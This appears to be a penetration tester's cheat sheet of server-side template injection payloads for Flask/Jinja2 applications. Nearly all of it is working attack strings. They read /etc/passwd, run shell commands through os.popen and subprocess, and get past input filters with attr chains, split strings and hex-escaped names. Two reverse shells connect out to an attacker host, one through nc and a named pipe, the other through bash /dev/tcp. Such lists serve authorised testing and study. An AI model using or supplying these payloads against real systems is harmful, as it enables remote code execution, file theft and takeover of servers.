SSTI - Template Injection

 

Python - Flask

#Checking for Vuln
print(render_template_string("{{4*6}}"))

#List Items 
{{config.items()}}

#Slecting a class
{{5000.__class__.mro()}}

#Listing Sub Classes
{{5000.__class__.__mro__[1].__subclasses__()}}
{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')() }}

#Read Files 
{{5000.__class__.__mro__[1].__subclasses__()[111].__subclasses__()[0].__subclasses__()[0]('/etc/passwd').read()}}

#RCE - Use any 1 from below
{{5000.__class__.__mro__[1].__subclasses__()[364]('whoami',shell=True,stdout=-1).communicate()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
{{config.__class__.__init__.__globals__['os'].popen('ls').read()}}
print(''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__buil'+'tins__']['ev'+'al']('__imp'+'ort__("o'+'s").po'+'pen("ls /").re'+'ad()'))
print(''.__class__.__base__.__subclasses__()[317]('whoami', shell=True, stdout=-1).communicate())

#Reverse Shell
{{request.application.__globals__.__builtins__.__import__('os').popen('rm%2b/tmp/f%253bmkfifo%2b/tmp/f%253bcat%2b/tmp/f|/bin/sh%2b-i%2b2>%25261|nc%2b10.10.10.10%2b9001%2b>/tmp/f').read()}}

Bypassing Restrictions 

{{ ''.__class__.__mro__[1].__subclasses__()[408]('cat /etc/passwd', shell=True, stdout=-1).communicate() }}
{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(408)('id', shell=True, stdout=-1)|attr('communicate')() }}
{{ ''['__clas' + 's__']['__mr' + 'o__'][1]['__subcla' + 'sses__']()[408]('cat /etc/passwd', shell=True, stdout=-1).communicate() }}
{{ ''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fmro\x5f\x5f'][1]['\x5f\x5fsubclasses\x5f\x5f']()[408]('cat /etc/passwd', shell=True, stdout=-1).communicate() }}

Bypassing Restrictions if {{ is not allowed 

#run this and access the endpoint via http://vulnerable-site.com/?input=ls
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}

#Reverse shell 
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"')['read']() == 'chiv' %} a {% endif %}  

More Payloads here - https://github.com/payloadbox/ssti-payloads